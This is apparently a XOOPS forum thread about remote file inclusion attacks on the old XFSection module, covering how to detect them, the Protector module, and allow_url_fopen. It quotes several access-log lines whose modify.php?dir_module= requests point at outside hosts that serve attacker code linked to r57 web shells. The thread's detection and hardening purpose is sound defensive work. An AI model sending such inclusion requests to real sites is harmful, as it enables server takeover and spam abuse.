GIJOE

I want to bring a new hack to your attention to see if there is anything that can be added into Protector to prevent it in future. It is getting through older versions of XFSection.

The following is a copy of comment in news item at xoops org.

---

If you are running XFSection then look in your site access logs for entries like these:

07.218.231.178 - - [08/Jun/2007:11:42:57 +0100] "GET /modules/xfsection/modify.php?dir_module=http://www.insanmistik.org/x1.txt? HTTP/1.1" 403 486 "-" "libwww-perl/5.805"

70.86.113.114 - - [08/Jun/2007:03:09:15 +0100] "GET /modules/xfsection/modify.php?dir_module=http://k52.jp/echo? HTTP/1.1" 403 486 "-" "libwww-perl/5.805"

208.67.252.215 - - [08/Jun/2007:03:15:12 +0100] "GET /modules/xfsection/modify.php?dir_module=http://b4ngs4t.com/echo?? HTTP/1.1" 403 490 "-" "libwww-perl/5.79"

65.98.89.146 - - [08/Jun/2007:03:19:52 +0100] "GET /modules/xfsection//modules/xfsection/modify.php?dir_module=http://www.apnic.net/index.html? HTTP/1.1" 403 505 "-" "libwww-perl/5.805"

59.106.13.148 - - [08/Jun/2007:03:28:51 +0100] "GET /modules/xfsection/modify.php?dir_module=http://b4ngs4t.com/echo?? HTTP/1.1" 403 486 "-" "libwww-perl/5.79"

The important bit is /modules/xfsection/modify.php?dir_module=

followed by a random URL 'libwww-perl' as a user-agent may also be relevent.

This is apparently letting in r57shells (that's what I'm told, the only reference I can find is in German here finden@@blocken_anzeigen.html" target="_blank">http://www.phpforum.de/archiv_57320_PHPShells@finden@@blocken_anzeigen.html
)

If you have these types of entries then you are being hacked and the server you are running on is being used to send junk spam mail, potentially in the tens of thousands.

Upgrade to SmartSection is the answer.

---

News item is at http://www.xoops.org/modules/news/article.php?storyid=3787

Regards
Xooby

hi Xooby.

This is not a new but a well-known fatal hole

minahito had already warned XF-Section has "$_GET extraction" to ohwada about 3 years ago.
But ohwada had never checked the code, then fatal vulnerability was opened 2006 Spring.

Thus, I insist "Don't install modules made by such authors".



This is a typical and dull "remote code execution".

Protector must have warned "turn allow_url_fopen off" to the administrator.
All Protector can do is just warning.

Or should Protector investigate whether such vulnerable modules are installed?


And you'd better distinct between "hack" and "crack".
"Hacking" never means illegal behaviors.

Hi GIJOE,

You're right. Protector does report "turn allow_url_fopen off". I'm dealing with this with the hosters.

Do you have a list of modules that allow this 'crack'

Could Protector do a sanity check on installed modules? That would be a neat idea to implement if it were possible.

Quote from my hoster
"Many scripts rely on allow_url_fopen the first one that springs to mind is RSS feeds. These will no longer work if allow_url_fopen(); is disabled without some interesting use of the curl function (which again has its own security risks for shared customers and insecure scripts)."

Regards
Ashley

Quote:Old *Content with spaw.
They all have the same fatal vulnerability.

Old WF-* and XF-*.
They have super global extractions.

Almost modules registered in xoops.org.
85-95% of the modules may have XSS/ScriptInsertion.
65-85% of the modules may have SQL Injections.

Quote:It is not easy to implement the sanity check against module's codes.

All I can say, don't use modules made by poor skilled developpers.

Quote:This is a normal answer.
And I don't have time to talk about such admins about ...

- How danger allow_url_fopen is
- It is quite easy to get RSS without url fopen.

Quote:
Oh how wonderful it must be to be so skilled!

Quote:
What a shame.

Perhaps you could point us mere mortals to somewhere where you have already addressed these points so we can learn.

What a shame to be so lazy
Perhaps you can do your-self some "search" it hand set developers free to code.
I assure you that we learn a lot by searching by ourselves!
I've even learn what means the japanese expression "kurekurekun"
and a few more popular chinese and japanese proverbs.

We have to assume that some people use Xoops to learn php and share modules that result from their practice without guarantees!
It's open source.

@gigamsster Quote:
In my experience as a module developer, *most* people don't use Xoops or my modules to learn PHP. They use them to do something useful. Very infrequently do I get asked php technical questions.

Let me just say I use GIJOE's protector module because he is the *best* security mod dev I know of, and I will recommend his work to anyone. Doesn't mean to say that I agree with everything he says. It's not personal

I was referring to developers
Since PHP is easy to learn, everyone can easily write bad php code for Xoops (alike any other project/language). Most of the times non-professional pick up some code and start "cloning/forking" to create their own module, framework, library, etc. If it works in PHP4, non-professional don't care about the code. And people wonder why Xoops and modules code are always full of security holes!? Well, it

The best way to write clean code for non-professinal programmers is "Using Cubson".

It forces you to write clean codes
It is regrettable that Cubson can be used only for Cube modules instead of general modules.